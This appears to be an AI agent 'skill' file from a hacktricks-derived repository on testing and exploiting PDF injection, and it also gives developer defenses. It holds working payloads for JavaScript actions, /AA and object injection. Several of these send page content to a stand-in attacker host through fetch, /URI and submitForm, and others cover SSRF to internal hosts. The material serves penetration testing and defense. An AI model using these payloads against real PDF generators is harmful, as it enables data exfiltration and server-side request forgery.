Hacktricks-skills pdf-injection-pentest

PDF injection vulnerability testing and exploitation. Use this skill whenever you need to test for PDF injection vulnerabilities, craft PDF injection payloads, analyze PDF structures for injection points, or assess PDF generation libraries for security issues. Trigger this skill for any task involving PDF security, PDF XSS, PDF-based SSRF, or when reviewing code that generates PDFs from user input. Don't forget to use this skill even if the user just mentions "PDF security" or "PDF vulnerabilities" without explicitly asking for injection testing.

install
source · Clone the upstream repo
git clone https://github.com/abelrguezr/hacktricks-skills
manifest: skills/pentesting-web/xss-cross-site-scripting/pdf-injection/SKILL.MD
source content

PDF Injection Pentesting Skill

A comprehensive skill for identifying, exploiting, and defending against PDF injection vulnerabilities. PDF syntax is extremely permissive—if you can break out of a string or dictionary embedding user input, you can inject new objects that PDF viewers will execute.

When to Use This Skill

Use this skill when:

  • Testing applications that generate PDFs from user-controlled input
  • Investigating reflected input inside PDF files
  • Crafting payloads for PDF-based XSS or SSRF
  • Reviewing PDF generation libraries (jsPDF, node-qpdf, etc.)
  • Analyzing PDF structures for injection points
  • Assessing bug bounty targets with PDF generation features
  • Needing to exfiltrate data through PDF viewers

Core Attack Workflow

Step 1: Identify Injection Points

Look for user-controlled values that end up inside:

  • Parenthesis strings:
    (user_input)
  • URI fields:
    /URI (https://...user_input...)
  • JavaScript fields:
    /JS (app.alert(user_input))
  • Annotation dictionaries
  • Form field values

Common vulnerable patterns:

// jsPDF - UNSAFE
doc.text(userInput, 50, 50)  // If userInput contains ) or 

doc.addJS(userInput)  // Direct injection into JS field

// Python reportlab - UNSAFE
canvas.drawString(100, 100, user_input)

Step 2: Craft Injection Payloads

The key is closing the original string/dictionary and injecting new PDF objects.

Basic string escape:

) ) /A << /S /JavaScript /JS (app.alert("XSS")) >> (

Complete payload structure:

  1. Close the original string:
    )
  2. Add space or newline
  3. Inject your action/object
  4. Reopen string to maintain validity:
    (

Step 3: Deliver and Execute

  • Direct delivery: Send malicious PDF to victim
  • Blind exploitation: Target backend services that render PDFs
  • Link hijacking: Inject into
    /Link
    annotations for click-triggered execution

Payload Primitives

JavaScript Execution on Open

/OpenAction << /S /JavaScript /JS (app.alert("PDF pwned")) >>

Works in: Acrobat Reader, Adobe Reader Does NOT work in: Chrome PDFium (sandboxed)

JavaScript on Link Click

/A << /S /JavaScript /JS (fetch('https://attacker.tld/?c='+this.getPageNumWords(0))) >>

Works in: PDFium (Chrome/Edge), Acrobat Requires: Control over a

/Link
annotation

Blind Data Exfiltration

<< /Type /Action /S /URI /URI (https://attacker.tld/?leak=)

Combine with JavaScript to extract content:

this.getPageNthWord(0, 0, 0)  // Get first word from page

Server-Side SSRF

/URI (https://internal-service.local/admin)

Use case: When backend services render PDFs and honor

/URI
actions

Additional Actions (/AA) Injection

) >> /AA << /O << /S /JavaScript /JS (app.alert('AA fired')) >> >> (

Triggers on: Document open, focus events Target: Catalog, Page, Annotation, or Form dictionaries

Full Object Injection (with newlines)

\nendobj\n10 0 obj\n<< /S /JavaScript /JS (app.alert(1)) >>\nendobj\n

Requires: Ability to inject newline characters Power: Can create completely new PDF objects

Blind Enumeration (Gareth Heyes)

) /JS (for(i in this){try{this.submitForm('https://x.tld?'+i+'='+this[i])}catch(e){}}) /S /JavaScript /A << >> (

Purpose: Enumerate all objects in unknown PDF Output: JSON-ish dump via outbound requests

Real-World Vulnerability Patterns

CVE-2026-25755 (jsPDF addJS)

Vulnerability: Unsanitized input in

addJS()
method Injection: Close JS literal, inject
/AA
/O
/JavaScript
Impact: JavaScript execution on open/focus

Exploitation:

// Vulnerable code
doc.addJS(userInput)

// Payload
) /AA << /O << /S /JavaScript /JS (malicious_code) >> >> (

CVE-2024-4367 (PDF.js)

Vulnerability: Sandbox bypass in Firefox PDF.js < 4.2.67 Injection: Crafted

/JavaScript
action Impact: Arbitrary JavaScript execution

Invoice Note Injection (Bug Bounty 2024)

Vulnerability: Customer notes in

/URI
field Injection:
) /URI (https://attacker.tld/?ssrf=internal) (
Impact: SSRF to internal metadata host Reward: $10,000

Testing Methodology

Phase 1: Reconnaissance

  1. Identify PDF generation endpoints

    • Invoice generation
    • Report exports
    • Document downloads
    • Certificate generation
  2. Map user input to PDF output

    • Submit test values with special characters
    • Look for:
      )
      ,
      \
      ,
      (
      ,
      <<
      ,
      >>
    • Check if input appears in PDF structure
  3. Determine PDF viewer context

    • Client-side rendering (Chrome, Firefox, Acrobat)
    • Server-side rendering (backend services)
    • Automatic processing (email attachments, document management)

Phase 2: Injection Testing

  1. Test string escape sequences

    Test: ) (  → Check if breaks out of string
    Test: \) ( → Check if backslash escapes
    Test: )\n( → Check if newline injection works
    
  2. Test action injection

    Payload: ) /A << /S /JavaScript /JS (app.alert(1)) >> (
    Expected: Alert on link click or document open
    
  3. Test object injection

    Payload: )\n10 0 obj\n<< /Type /Action /S /JavaScript /JS (app.alert(1)) >>\nendobj\n(
    Expected: New object in PDF structure
    

Phase 3: Exploitation

  1. For XSS:

    • Use
      /JavaScript
      actions
    • Target Acrobat for full API access
    • Use
      this.getPageNthWord()
      for content extraction
  2. For SSRF:

    • Use
      /URI
      actions with internal URLs
    • Target backend PDF rendering services
    • Use
      file:///
      scheme for local file access
  3. For Blind Bugs:

    • Use outbound HTTP requests in JavaScript
    • Use
      submitForm()
      to exfiltrate data
    • Use enumeration payload for structure discovery

Defensive Recommendations

For Developers

  1. Never concatenate raw user input in PDF strings

    // BAD
    doc.text(userInput, 50, 50)
    
    // GOOD
    doc.text(escapePDF(userInput), 50, 50)
    
  2. Use hex strings for untrusted content

    <48656C6C6F>  instead of  (Hello)
    
  3. Escape special characters per PDF spec §7.3

    • \
      \\
    • (
      \(
    • )
      \)
    • Newlines →
      \n
  4. Validate and sanitize action dictionaries

    • Strip
      /OpenAction
      ,
      /AA
      ,
      /Launch
      ,
      /SubmitForm
      ,
      /ImportData
    • Block
      javascript:
      URI schemes
  5. Use safe PDF libraries

    • Keep jsPDF, reportlab, qpdf updated
    • Review library changelogs for security fixes

For Security Teams

  1. Post-process untrusted PDFs

    qpdf --decrypt --linearize untrusted.pdf cleaned.pdf
    
  2. Render with headless converters

    • Remove JavaScript and external actions
    • Use sandboxed environments
  3. Keep viewers updated

    • PDF.js ≥ 4.2.67
    • Acrobat Reader ≥ July 2024 patches
    • Chrome/Edge PDFium (auto-updates)
  4. Monitor for exploitation

    • Watch for outbound requests from PDF viewers
    • Log PDF generation with user input
    • Alert on unusual PDF structures

Quick Reference

GoalPayloadViewer Support
Alert on open
/OpenAction << /S /JavaScript /JS (app.alert(1)) >>
Acrobat only
Alert on click
/A << /S /JavaScript /JS (app.alert(1)) >>
All viewers
Data exfil
this.submitForm('https://x.tld?'+data)
Acrobat
SSRF
/URI (https://internal.local)
Backend renderers
Object injection
\nendobj\n10 0 obj\n<<...>>\nendobj\n
All (if newlines allowed)
Enumeration
for(i in this){this.submitForm(...)}catch(e){}
Acrobat

References

  • PortSwigger: "Portable Data exFiltration – XSS for PDFs" (May 2024)
  • Dawid Ryłko: "CVE-2024-4367: Arbitrary JavaScript Execution in PDF.js" (Apr 2024)
  • GitLab Advisory: "CVE-2026-25755: jsPDF PDF Object Injection" (Feb 2026)
  • PDF Specification §7.3: Text String Objects
  • Adobe Acrobat Help: Embedded Action Signing Warning (Sep 2025)

Next Steps

After identifying a PDF injection vulnerability:

  1. Document the injection point and payload
  2. Test across multiple PDF viewers
  3. Assess impact (XSS, SSRF, data exfiltration)
  4. Provide remediation guidance
  5. Consider blind exploitation if direct testing isn't possible